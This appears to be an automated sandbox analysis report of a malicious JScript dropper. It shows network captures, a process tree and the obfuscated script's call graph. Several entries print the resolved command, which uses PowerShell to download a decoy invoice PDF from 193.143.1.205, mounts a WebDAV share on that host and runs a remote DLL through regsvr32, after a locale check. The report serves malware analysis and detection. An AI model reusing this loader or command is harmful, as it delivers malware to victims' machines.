0	192.168.2.6	49710	193.143.1.205	80	2620	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:06:19.837393999 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 19:06:20.617711067 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:06:20 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 19:06:20.617732048 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 19:06:20.617744923 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 19:06:20.617795944 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 19:06:20.617809057 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 10, 2025 19:06:20.617822886 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 10, 2025 19:06:20.617834091 CET	1236	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 10, 2025 19:06:20.617846012 CET	896	IN	Data Raw: c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 6d 13 43 0f 5d 0c 35 Data Ascii: 9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCNkJV
Jan 10, 2025 19:06:20.617943048 CET	1236	IN	Data Raw: 00 db e4 6f b0 35 25 34 37 de 95 3b 56 72 f4 cc c1 5c 26 28 cc 6a 15 4a a8 4e 3f 32 07 9a 1a a8 d4 cf b7 ad 37 ad d7 4e fa fb e9 d7 a4 36 aa ab a8 69 43 b9 13 3c 35 df 32 96 a8 54 35 89 ca 3c c3 7e 4c 75 a1 38 a5 af 2a 9c a5 d5 23 b4 35 d5 cc 4c Data Ascii: o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8#5L>8f\^xmI3#^{hudM/eG_\?c0{,?nQGDUBwZ?l+`hC?bC31t_PC={6H=17
Jan 10, 2025 19:06:20.617957115 CET	1236	IN	Data Raw: ff 66 cb 0d 36 9a 81 d0 d1 57 d3 bf a0 92 44 a5 cf ea a7 ae 90 ff 4c 12 0d 6f 2f 35 45 52 5e 4a 51 39 9b 59 58 10 5d 33 16 5d 38 56 55 9f 90 5b b3 0e 5a 9e 0a 62 28 80 2d 58 ad 96 60 87 15 0f 0c fd 34 38 30 b4 89 a1 8f 6d 0c 9d 1f 18 7a 71 7e 77 Data Ascii: f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=8zhc}'Ie???32Uh}CjTy^CRgK6t)BSB%
Jan 10, 2025 19:06:20.622827053 CET	1112	IN	Data Raw: 9b 1b 81 37 1b 8f cd 90 6f ee b7 d6 83 b4 e1 9d d6 1f a8 ba d0 f8 33 31 14 c0 a6 ad 21 99 60 07 d5 1c 18 fa 38 3f 30 f4 a9 3d 30 f4 f1 fa fa e1 ea ea a1 dd 91 db c7 d0 63 15 43 f7 bb 18 1a f4 d0 0f a9 72 0e 1e fb f2 b0 bf 26 8c a1 77 f3 18 7a 99 Data Ascii: 7o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY;r\|MoMUtkpYLIM=3Nad/7ZXkJ>U?HX*%;3s{^aZf\\|C\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49711	193.143.1.205	8888	3412	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:06:22.124984026 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 19:06:22.923676014 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:06:22 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	13:06:15
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1227622214229272730.js"
Imagebase:	0x7ff7983a0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:06:15
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23570146392892.dll
Imagebase:	0x7ff6fc550000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:06:15
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:06:16
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:06:20
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	13:06:20
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6fc550000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:06:20
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff74d290000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:06:21
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	13:06:21
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	13:06:21
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1656,i,16891534531806010795,12127977397220961010,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function ttzmrzro() {	ttzmrzro() ➔ undefined
1	bxexddqny = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var pswij = this[sdofcrmi + pyzuh + imfkgrimd + jyaxfwbq + bmyzsfrr + lnyxo + hxsvswde + wtxdoxb] ( this[fomawxoyb + htjge + efsfveeez + imfkgrimd + ewzory + sdofcrmi + wtxdoxb][lghhbbiwx + imfkgrimd + bmyzsfrr + pyzuh + wtxdoxb + bmyzsfrr + yfjswew + tzcufy + rejxz + bmyzsfrr + efsfveeez + wtxdoxb] ( fomawxoyb + htjge + efsfveeez + imfkgrimd + ewzory + sdofcrmi + wtxdoxb + ghqkck + htjge + sjfrf + bmyzsfrr + dimoqnbfy + dimoqnbfy ) [nzcadxj + bmyzsfrr + axlouf + nzcadxj + bmyzsfrr + pyzuh + uvjxga] ( tdzlclmqb + othiwn + cyicie + sxzsvu + axjev + lghhbbiwx + lmadsl + nzcadxj + nzcadxj + cyicie + sdcczquf + mugnfq + axjev + lmadsl + htjge + cyicie + nzcadxj + eqcbrjnn + lghhbbiwx + kjqofbfsp + hxsvswde + wtxdoxb + imfkgrimd + kjqofbfsp + dimoqnbfy + sdgfao + jfpvftfdb + pyzuh + hxsvswde + bmyzsfrr + dimoqnbfy + eqcbrjnn + lnyxo + hxsvswde + wtxdoxb + bmyzsfrr + imfkgrimd + hxsvswde + pyzuh + wtxdoxb + ewzory + kjqofbfsp + hxsvswde + pyzuh + dimoqnbfy + eqcbrjnn + rrgbgkaei + kjqofbfsp + efsfveeez + pyzuh + dimoqnbfy + bmyzsfrr ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( xapgngzm = 0 ; xapgngzm < bxexddqny[dimoqnbfy + bmyzsfrr + hxsvswde + axlouf + wtxdoxb + sjfrf] ; ++ xapgngzm )
4	{
5	if ( pswij == bxexddqny[xapgngzm] )
6	{
7	pswij = true;
8	break ;
9	}
10	}
11	if ( pswij !== true )
12	this[fomawxoyb + htjge + efsfveeez + imfkgrimd + ewzory + sdofcrmi + wtxdoxb][mpymsk + hogeec + ewzory + wtxdoxb] ( );
13	this[fomawxoyb + htjge + efsfveeez + imfkgrimd + ewzory + sdofcrmi + wtxdoxb][lghhbbiwx + imfkgrimd + bmyzsfrr + pyzuh + wtxdoxb + bmyzsfrr + yfjswew + tzcufy + rejxz + bmyzsfrr + efsfveeez + wtxdoxb] ( fomawxoyb + htjge + efsfveeez + imfkgrimd + ewzory + sdofcrmi + wtxdoxb + ghqkck + htjge + sjfrf + bmyzsfrr + dimoqnbfy + dimoqnbfy ) [imfkgrimd + hogeec + hxsvswde] ( efsfveeez + nqpkcbke + uvjxga + sdgfao + jbkfklc + efsfveeez + sdgfao + sdofcrmi + kjqofbfsp + ystjjum + bmyzsfrr + imfkgrimd + jyaxfwbq + sjfrf + bmyzsfrr + dimoqnbfy + dimoqnbfy + ghqkck + bmyzsfrr + dunhlm + bmyzsfrr + sdgfao + fsgxpsl + lghhbbiwx + kjqofbfsp + nqpkcbke + nqpkcbke + pyzuh + hxsvswde + uvjxga + sdgfao + fojsizo + lnyxo + hxsvswde + tllrhewnb + kjqofbfsp + mrhhgc + bmyzsfrr + fsgxpsl + fomawxoyb + bmyzsfrr + tzcufy + nzcadxj + bmyzsfrr + jzvjuscuz + hogeec + bmyzsfrr + jyaxfwbq + wtxdoxb + sdgfao + fsgxpsl + yfjswew + hogeec + wtxdoxb + uisbi + ewzory + dimoqnbfy + bmyzsfrr + sdgfao + gtvpic + wtxdoxb + bmyzsfrr + nqpkcbke + sdofcrmi + gtvpic + eqcbrjnn + ewzory + hxsvswde + tllrhewnb + kjqofbfsp + ewzory + efsfveeez + bmyzsfrr + ghqkck + sdofcrmi + uvjxga + gwjiwbnyv + sdgfao + sjfrf + wtxdoxb + wtxdoxb + sdofcrmi + bcvwfqtie + jbkfklc + jbkfklc + thxuid + ajywc + zphrahyn + ghqkck + thxuid + wwezua + zphrahyn + ghqkck + thxuid + ghqkck + uylllk + xrfgn + dnzqkogb + jbkfklc + ewzory + hxsvswde + tllrhewnb + kjqofbfsp + ewzory + efsfveeez + bmyzsfrr + ghqkck + sdofcrmi + sjfrf + sdofcrmi + fojsizo + fqnexy + fqnexy + jyaxfwbq + wtxdoxb + pyzuh + imfkgrimd + wtxdoxb + sdgfao + gtvpic + wtxdoxb + bmyzsfrr + nqpkcbke + sdofcrmi + gtvpic + eqcbrjnn + ewzory + hxsvswde + tllrhewnb + kjqofbfsp + ewzory + efsfveeez + bmyzsfrr + ghqkck + sdofcrmi + uvjxga + gwjiwbnyv + fqnexy + fqnexy + efsfveeez + nqpkcbke + uvjxga + sdgfao + jbkfklc + efsfveeez + sdgfao + hxsvswde + bmyzsfrr + wtxdoxb + sdgfao + hogeec + jyaxfwbq + bmyzsfrr + sdgfao + eqcbrjnn + eqcbrjnn + thxuid + ajywc + zphrahyn + ghqkck + thxuid + wwezua + zphrahyn + ghqkck + thxuid + ghqkck + uylllk + xrfgn + dnzqkogb + kppddiq + ivlpbqe + ivlpbqe + ivlpbqe + ivlpbqe + eqcbrjnn + uvjxga + pyzuh + tllrhewnb + ystjjum + ystjjum + ystjjum + imfkgrimd + kjqofbfsp + kjqofbfsp + wtxdoxb + eqcbrjnn + fqnexy + fqnexy + efsfveeez + nqpkcbke + uvjxga + sdgfao + jbkfklc + efsfveeez + sdgfao + imfkgrimd + bmyzsfrr + axlouf + jyaxfwbq + tllrhewnb + imfkgrimd + zphrahyn + uylllk + sdgfao + jbkfklc + jyaxfwbq + sdgfao + eqcbrjnn + eqcbrjnn + thxuid + ajywc + zphrahyn + ghqkck + thxuid + wwezua + zphrahyn + ghqkck + thxuid + ghqkck + uylllk + xrfgn + dnzqkogb + kppddiq + ivlpbqe + ivlpbqe + ivlpbqe + ivlpbqe + eqcbrjnn + uvjxga + pyzuh + tllrhewnb + ystjjum + ystjjum + ystjjum + imfkgrimd + kjqofbfsp + kjqofbfsp + wtxdoxb + eqcbrjnn + uylllk + zphrahyn + dnzqkogb + nrrkricwd + xrfgn + thxuid + wwezua + mqatgje + zphrahyn + ajywc + uylllk + ivlpbqe + ajywc + uylllk + ghqkck + uvjxga + dimoqnbfy + dimoqnbfy, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23570146392892.dll",0,false) ➔ 0
14	}
15	cyicie = "M";
16	cyicie = "J";
17	cyicie = "G";
18	cyicie = "y";
19	cyicie = "p";
20	cyicie = "l";
21	cyicie = "L";
22	cyicie = "s";
23	cyicie = "P";
24	cyicie = "D";
25	cyicie = "q";
26	cyicie = "p";
27	cyicie = "E";
28	cyicie = "J";
29	cyicie = "c";
30	cyicie = "S";
31	cyicie = "B";
32	cyicie = "N";
33	cyicie = "w";
34	cyicie = "C";
35	cyicie = "s";
36	cyicie = "t";
37	cyicie = "Z";
38	cyicie = "c";
39	cyicie = "M";
40	cyicie = "a";
41	cyicie = "A";
42	cyicie = "Y";
43	cyicie = "t";
44	cyicie = "E";
45	ajywc = "H";
46	ajywc = "y";
47	ajywc = "S";
48	ajywc = "r";
49	ajywc = "A";
50	ajywc = "E";
51	ajywc = "y";
52	ajywc = "B";
53	ajywc = "H";
54	ajywc = "S";
55	ajywc = "W";
56	ajywc = "t";
57	ajywc = "r";
58	ajywc = "F";
59	ajywc = "j";
60	ajywc = "W";
61	ajywc = "u";
62	ajywc = "e";
63	ajywc = "Z";
64	ajywc = "X";
65	ajywc = "F";
66	ajywc = "O";
67	ajywc = "B";
68	ajywc = "X";
69	ajywc = "G";
70	ajywc = "d";
71	ajywc = "w";
72	ajywc = "a";
73	ajywc = "i";
74	ajywc = "t";
75	ajywc = "p";
76	ajywc = "s";
77	ajywc = "9";
78	mpymsk = "N";
79	mpymsk = "F";
80	mpymsk = "J";
81	mpymsk = "r";
82	mpymsk = "f";
83	mpymsk = "D";
84	mpymsk = "g";
85	mpymsk = "i";
86	mpymsk = "h";
87	mpymsk = "B";
88	mpymsk = "u";
89	mpymsk = "v";
90	mpymsk = "R";
91	mpymsk = "V";
92	mpymsk = "t";
93	mpymsk = "v";
94	mpymsk = "O";
95	mpymsk = "C";
96	mpymsk = "p";
97	mpymsk = "F";
98	mpymsk = "p";
99	mpymsk = "H";
100	mpymsk = "h";
101	mpymsk = "u";
102	mpymsk = "W";
103	mpymsk = "o";
104	mpymsk = "W";
105	mpymsk = "j";
106	mpymsk = "r";
107	mpymsk = "A";
108	mpymsk = "w";
109	mpymsk = "G";
110	mpymsk = "k";
111	mpymsk = "p";
112	mpymsk = "k";
113	mpymsk = "e";
114	mpymsk = "k";
115	mpymsk = "H";
116	mpymsk = "Q";
117	ewzory = "X";
118	ewzory = "c";
119	ewzory = "w";
120	ewzory = "d";
121	ewzory = "n";
122	ewzory = "I";
123	ewzory = "B";
124	ewzory = "g";
125	ewzory = "H";
126	ewzory = "Z";
127	ewzory = "c";
128	ewzory = "K";
129	ewzory = "Y";
130	ewzory = "B";
131	ewzory = "Z";
132	ewzory = "P";
133	ewzory = "Q";
134	ewzory = "f";
135	ewzory = "i";
136	zphrahyn = "v";
137	zphrahyn = "v";
138	zphrahyn = "b";
139	zphrahyn = "i";
140	zphrahyn = "I";
141	zphrahyn = "v";
142	zphrahyn = "C";
143	zphrahyn = "U";
144	zphrahyn = "i";
145	zphrahyn = "I";
146	zphrahyn = "Y";
147	zphrahyn = "z";
148	zphrahyn = "M";
149	zphrahyn = "P";
150	zphrahyn = "3";
151	axlouf = "H";
152	axlouf = "x";
153	axlouf = "X";
154	axlouf = "D";
155	axlouf = "v";
156	axlouf = "e";
157	axlouf = "j";
158	axlouf = "A";
159	axlouf = "V";
160	axlouf = "r";
161	axlouf = "o";
162	axlouf = "e";
163	axlouf = "t";
164	axlouf = "h";
165	axlouf = "P";
166	axlouf = "N";
167	axlouf = "c";
168	axlouf = "H";
169	axlouf = "a";
170	axlouf = "w";
171	axlouf = "C";
172	axlouf = "A";
173	axlouf = "D";
174	axlouf = "P";
175	axlouf = "e";
176	axlouf = "B";
177	axlouf = "g";
178	nzcadxj = "R";
179	jyaxfwbq = "o";
180	jyaxfwbq = "s";
181	nqpkcbke = "J";
182	nqpkcbke = "z";
183	nqpkcbke = "s";
184	nqpkcbke = "t";
185	nqpkcbke = "F";
186	nqpkcbke = "I";
187	nqpkcbke = "e";
188	nqpkcbke = "T";
189	nqpkcbke = "g";
190	nqpkcbke = "b";
191	nqpkcbke = "k";
192	nqpkcbke = "m";
193	nqpkcbke = "o";
194	nqpkcbke = "N";
195	nqpkcbke = "u";
196	nqpkcbke = "I";
197	nqpkcbke = "S";
198	nqpkcbke = "p";
199	nqpkcbke = "z";
200	nqpkcbke = "D";
201	nqpkcbke = "P";
202	nqpkcbke = "M";
203	nqpkcbke = "O";
204	nqpkcbke = "R";
205	nqpkcbke = "k";
206	nqpkcbke = "B";
207	nqpkcbke = "m";
208	xrfgn = "g";
209	xrfgn = "J";
210	xrfgn = "W";
211	xrfgn = "h";
212	xrfgn = "l";
213	xrfgn = "k";
214	xrfgn = "h";
215	xrfgn = "m";
216	xrfgn = "K";
217	xrfgn = "T";
218	xrfgn = "h";
219	xrfgn = "k";
220	xrfgn = "I";
221	xrfgn = "m";
222	xrfgn = "w";
223	xrfgn = "Y";
224	xrfgn = "V";
225	xrfgn = "K";
226	xrfgn = "x";
227	xrfgn = "w";
228	xrfgn = "Y";
229	xrfgn = "s";
230	xrfgn = "y";
231	xrfgn = "F";
232	xrfgn = "I";
233	xrfgn = "M";
234	xrfgn = "W";
235	xrfgn = "o";
236	xrfgn = "z";
237	xrfgn = "V";
238	xrfgn = "Z";
239	xrfgn = "i";
240	xrfgn = "Z";
241	xrfgn = "W";
242	xrfgn = "P";
243	xrfgn = "0";
244	uvjxga = "d";
245	sdgfao = "c";
246	sdgfao = "B";
247	sdgfao = "A";
248	sdgfao = "u";
249	sdgfao = "R";
250	sdgfao = "I";
251	sdgfao = "Q";
252	sdgfao = "z";
253	sdgfao = "E";
254	sdgfao = "Q";
255	sdgfao = "C";
256	sdgfao = "v";
257	sdgfao = "a";
258	sdgfao = "y";
259	sdgfao = "W";
260	sdgfao = "s";
261	sdgfao = "f";
262	sdgfao = "F";
263	sdgfao = "B";
264	sdgfao = "F";
265	sdgfao = "j";
266	sdgfao = "p";
267	sdgfao = "m";
268	sdgfao = "N";
269	sdgfao = "U";
270	sdgfao = "B";
271	sdgfao = "n";
272	sdgfao = "H";
273	sdgfao = " ";
274	wtxdoxb = "d";
275	wtxdoxb = "q";
276	wtxdoxb = "K";
277	wtxdoxb = "Q";
278	wtxdoxb = "s";
279	wtxdoxb = "Z";
280	wtxdoxb = "b";
281	wtxdoxb = "n";
282	wtxdoxb = "E";
283	wtxdoxb = "p";
284	wtxdoxb = "F";
285	wtxdoxb = "Z";
286	wtxdoxb = "Y";
287	wtxdoxb = "U";
